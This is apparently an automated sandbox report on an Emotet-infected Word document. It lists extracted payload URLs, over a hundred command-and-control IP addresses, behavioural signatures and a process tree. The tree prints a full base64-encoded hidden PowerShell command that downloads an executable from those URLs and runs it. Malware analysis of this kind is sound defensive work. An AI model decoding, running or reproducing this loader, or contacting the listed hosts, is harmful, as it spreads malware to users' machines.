Analysis
-
max time kernel
29s -
resource
win10v191014 -
submitted
27-01-2020 23:04
General
Malware Config
Extracted
http://yochina.apps.zeroek.com/assets/GQK9Gly/
http://www.bandarwinsbobet.com/wp-admin/7bw/
http://test.pakspaservices.com/wp-content/Yi1j6O7/
http://portal.meucompromisso.com/wp-admin/kQJ/
https://wondersofgeorgia.com/wp-admin/jv7hvg/
Extracted
emotet
207.177.72.129:8080
23.243.215.4:8080
218.255.173.106:80
136.243.205.112:7080
23.92.16.164:8080
45.55.65.123:8080
217.160.19.232:8080
64.66.6.71:8080
66.34.201.20:7080
85.152.174.56:80
202.175.121.202:8090
87.106.139.101:8080
176.9.43.37:8080
98.156.206.153:80
159.65.25.128:8080
70.184.9.39:8080
209.146.22.34:443
95.213.236.64:8080
98.30.113.161:80
59.103.164.174:80
68.172.243.146:80
169.239.182.217:8080
206.189.112.148:8080
87.230.19.21:8080
217.160.182.191:8080
87.106.136.232:8080
179.13.185.19:80
78.24.219.147:8080
78.142.114.69:80
149.202.153.252:8080
206.81.10.215:8080
47.156.70.145:80
222.144.13.169:80
190.55.181.54:443
101.187.197.33:443
200.116.145.225:443
88.249.120.205:80
100.6.23.40:80
76.104.80.47:80
105.247.123.133:8080
201.229.45.222:8080
91.205.215.66:443
78.101.70.199:443
74.130.83.133:80
87.81.51.125:80
62.138.26.28:8080
152.168.248.128:443
70.180.35.211:80
74.101.225.121:443
178.153.176.124:80
31.31.77.83:443
190.117.126.169:80
209.141.54.221:8080
24.164.79.147:8080
104.131.44.150:8080
105.27.155.182:80
64.53.242.181:8080
121.88.5.176:443
47.6.15.79:80
139.130.242.43:80
205.185.117.108:8080
211.192.153.224:80
101.187.134.207:8080
90.69.145.210:8080
45.33.49.124:443
108.191.2.72:80
37.187.72.193:8080
68.114.229.171:80
201.184.105.242:443
180.92.239.110:8080
91.73.197.90:80
47.6.15.79:443
190.114.244.182:443
223.197.185.60:80
24.94.237.248:80
47.153.183.211:80
178.237.139.83:8080
190.117.226.104:80
24.196.49.98:80
189.212.199.126:443
108.179.206.219:8080
78.186.5.109:443
190.12.119.180:443
85.105.205.77:8080
181.126.70.117:80
120.150.246.241:80
108.6.140.26:80
93.147.141.5:443
195.244.215.206:80
95.128.43.213:8080
31.172.240.91:8080
72.189.57.105:80
182.176.132.213:8090
190.53.135.159:21
76.104.80.47:443
42.200.226.58:80
5.196.74.210:8080
188.0.135.237:80
103.86.49.11:8080
62.75.187.192:8080
60.250.78.22:443
64.40.250.5:80
62.75.141.82:80
186.86.247.171:443
115.65.111.148:443
60.231.217.199:8080
190.146.205.227:8080
46.105.131.87:80
209.97.168.52:8080
74.108.124.180:80
181.143.126.170:80
200.21.90.5:443
173.21.26.90:80
73.11.153.178:8080
92.222.216.44:8080
101.100.137.135:80
110.36.217.66:8080
24.105.202.216:443
78.189.180.107:80
181.57.193.13:80
101.187.237.217:80
181.13.24.82:80
178.20.74.212:80
75.114.235.105:80
160.16.215.66:8080
37.139.21.175:8080
50.116.86.205:8080
Signatures
-
Drops file in System32 directory 1 IoCs
Processes:
858.exedescription ioc process File renamed C:\Users\Admin\858.exe => C:\Windows\SysWOW64\duckshext.exe 858.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4948 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
WINWORD.EXE858.exe858.exeduckshext.exeduckshext.exepid process 4948 WINWORD.EXE 4760 858.exe 4740 858.exe 4420 duckshext.exe 3812 duckshext.exe -
Process spawned unexpected child process 1 IoCs
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4572 5008 Powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
Powershell.exe858.exeduckshext.exedescription pid process target process PID 4572 wrote to memory of 4760 4572 Powershell.exe 858.exe PID 4760 wrote to memory of 4740 4760 858.exe 858.exe PID 4420 wrote to memory of 3812 4420 duckshext.exe duckshext.exe -
Executes dropped EXE 4 IoCs
Processes:
858.exe858.exeduckshext.exeduckshext.exepid process 4760 858.exe 4740 858.exe 4420 duckshext.exe 3812 duckshext.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 4572 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid process 4572 Powershell.exe -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
Processes:
858.exeduckshext.exepid process 4740 858.exe 3812 duckshext.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7cf7ba52e8779094c2b4c91022dc3d228235ebb51a0066ea2afb959acd0861af.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Enumerates system info in registry
- Checks processor information in registry
PID:4948
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABDAHQAZABoAHcAdAB0AHIAPQAnAFkAcQBiAHQAeQBxAHIAcgB3AGoAcAB6ACcAOwAkAFcAcABsAHQAdAB2AHgAYwB5AGwAawAgAD0AIAAnADgANQA4ACcAOwAkAEsAYQB1AHIAdAB4AGgAZwBvAHMAPQAnAEUAbAB2AGEAdwBoAHcAbgBkAHIAYwAnADsAJABTAHUAcgBpAHIAeABxAHYAawB0AG0AaABvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABXAHAAbAB0AHQAdgB4AGMAeQBsAGsAKwAnAC4AZQB4AGUAJwA7ACQARwB0AG4AaABtAGQAeAByAHgAbQA9ACcAWgB2AHcAcQBqAG0AYgBoAGEAbgBnAGEAagAnADsAJABCAGgAawBrAGcAbQBjAGsAdgB1AGUAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBlAEIAYwBsAGkARQBuAHQAOwAkAEEAbABhAHAAbABsAGYAYgBxAD0AJwBoAHQAdABwADoALwAvAHkAbwBjAGgAaQBuAGEALgBhAHAAcABzAC4AegBlAHIAbwBlAGsALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8ARwBRAEsAOQBHAGwAeQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGIAYQBuAGQAYQByAHcAaQBuAHMAYgBvAGIAZQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA3AGIAdwAvACoAaAB0AHQAcAA6AC8ALwB0AGUAcwB0AC4AcABhAGsAcwBwAGEAcwBlAHIAdgBpAGMAZQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AWQBpADEAagA2AE8ANwAvACoAaAB0AHQAcAA6AC8ALwBwAG8AcgB0AGEAbAAuAG0AZQB1AGMAbwBtAHAAcgBvAG0AaQBzAHMAbwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AawBRAEoALwAqAGgAdAB0AHAAcwA6AC8ALwB3AG8AbgBkAGUAcgBzAG8AZgBnAGUAbwByAGcAaQBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAHYANwBoAHYAZwAvACcALgAiAHMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQB5AGcAcwB5AHYAZwBuAGQAdAB6AGMAPQAnAFoAZwB5AGQAYgB3AG0AegB3AHQAZgBiACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAGkAawBlAHkAbABkAGMAdgBsAHgAZAAgAGkAbgAgACQAQQBsAGEAcABsAGwAZgBiAHEAKQB7AHQAcgB5AHsAJABCAGgAawBrAGcAbQBjAGsAdgB1AGUALgAiAGQATwBgAFcAbgBgAGwAYABvAGEARABGAEkAbABlACIAKAAkAE8AaQBrAGUAeQBsAGQAYwB2AGwAeABkACwAIAAkAFMAdQByAGkAcgB4AHEAdgBrAHQAbQBoAG8AKQA7ACQAUwBuAG4AeABzAGwAeABzAHIAdAA9ACcAUwBpAHQAeABrAGsAbQBuACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUwB1AHIAaQByAHgAcQB2AGsAdABtAGgAbwApAC4AIgBMAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADIAMAA4ADgAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAGAAVABhAHIAdAAiACgAJABTAHUAcgBpAHIAeABxAHYAawB0AG0AaABvACkAOwAkAFgAaAB3AGYAYQBjAG0AbgB4AD0AJwBVAHAAZwBiAGoAZAB3AGcAcABmAGoAeQBlACcAOwBiAHIAZQBhAGsAOwAkAFoAagB1AHAAZQBqAG0AZwBwAD0AJwBHAHcAcQBmAGcAdwBiAHcAbgBlAHEAagBhACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAcgBjAG4AagBzAGIAdQBkAGQAcwA9ACcATABpAGkAcQBsAG4AdwB6AHEAagB5AG0AdwAnAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4572 -
C:\Users\Admin\858.exe"C:\Users\Admin\858.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:4760 -
C:\Users\Admin\858.exe--57fea1d93⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
PID:4740
-
-
-
C:\Windows\SysWOW64\duckshext.exe"C:\Windows\SysWOW64\duckshext.exe"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:4420 -
C:\Windows\SysWOW64\duckshext.exe--19d4ff892⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
PID:3812
-